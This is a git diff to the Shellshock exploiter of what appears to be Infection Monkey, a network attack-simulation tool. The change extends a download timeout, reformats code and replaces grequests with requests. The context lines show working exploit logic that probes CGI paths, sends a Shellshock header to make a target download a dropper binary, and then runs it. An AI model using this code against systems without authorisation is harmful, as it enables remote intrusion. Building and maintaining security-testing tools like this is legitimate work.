diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py
index c33dc9c94..69df6abb3 100644
--- a/chaos_monkey/exploit/shellshock.py
+++ b/chaos_monkey/exploit/shellshock.py
@@ -8,7 +8,7 @@ from exploit import HostExploiter
 from model.host import VictimHost
 from shellshock_resources import CGI_FILES
 from model import MONKEY_ARG
-from exploit.tools import get_target_monkey, HTTPTools, report_failed_login
+from exploit.tools import get_target_monkey, HTTPTools
 import requests
 
 __author__ = 'danielg'
@@ -16,7 +16,7 @@ __author__ = 'danielg'
 LOG = logging.getLogger(__name__)
 TIMEOUT = 2
 TEST_COMMAND = '/bin/uname -a'
-DOWNLOAD_TIMEOUT = 60  # copied from rdpgrinder
+DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
 
 
 class ShellShockExploiter(HostExploiter):
@@ -37,7 +37,8 @@ class ShellShockExploiter(HostExploiter):
     def exploit_host(self, host, depth=-1, src_path=None):
         assert isinstance(host, VictimHost)
         # start by picking ports
-        candidate_services = {service: host.services[service] for service in host.services if host.services[service]['name'] == 'http'}
+        candidate_services = {service: host.services[service] for service in host.services if
+                              host.services[service]['name'] == 'http'}
 
         valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
                        'tcp-' + str(port) in candidate_services]
@@ -113,13 +114,14 @@ class ShellShockExploiter(HostExploiter):
                 http_path, dropper_target_path_linux)
 
             download = exploit + download_command
-            self.attack_page(url, header, download)
+            self.attack_page(url, header,
+                             download)  # we ignore failures here since it might take more than TIMEOUT time
 
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
             if (http_thread.downloads != 1) or (
-                'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
+                        'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                 LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
                 continue
 
@@ -138,7 +140,7 @@ class ShellShockExploiter(HostExploiter):
                      self._config.dropper_target_path_linux, host, cmdline)
 
             if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
-                LOG.info("Failed running the monkey, log file does not exist")
+                LOG.info("Log file does not exist, monkey might not have run")
                 continue
 
             return True
@@ -192,20 +194,16 @@ class ShellShockExploiter(HostExploiter):
         Checks if which urls exist
         :return: Sequence of URLs to try and attack
         """
-        import grequests # at this point, it monkey patches half the world and we must stop it
+        import requests
         attack_path = 'http://'
         if is_https:
             attack_path = 'https://'
         attack_path = attack_path + str(host) + ":" + str(port)
         attack_urls = [attack_path + url for url in url_list]
-        reqs = (grequests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls)
-        resps = grequests.map(reqs, size=15)
-        valid_resps = [resp for resp in resps if resp and resp.status_code == requests.codes.ok]
+        reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
+        valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
         urls = [resp.url for resp in valid_resps]
 
-        # revert monkey patch
-        import socket # this is the monkeypatched socket module
-        reload(socket)
         return urls
 
     @staticmethod
diff --git a/chaos_monkey/requirements.txt b/chaos_monkey/requirements.txt
index 7992b5242..73660458b 100644
--- a/chaos_monkey/requirements.txt
+++ b/chaos_monkey/requirements.txt
@@ -12,4 +12,4 @@ psutil
 PyInstaller
 ecdsa
 netifaces
-grequests
+requests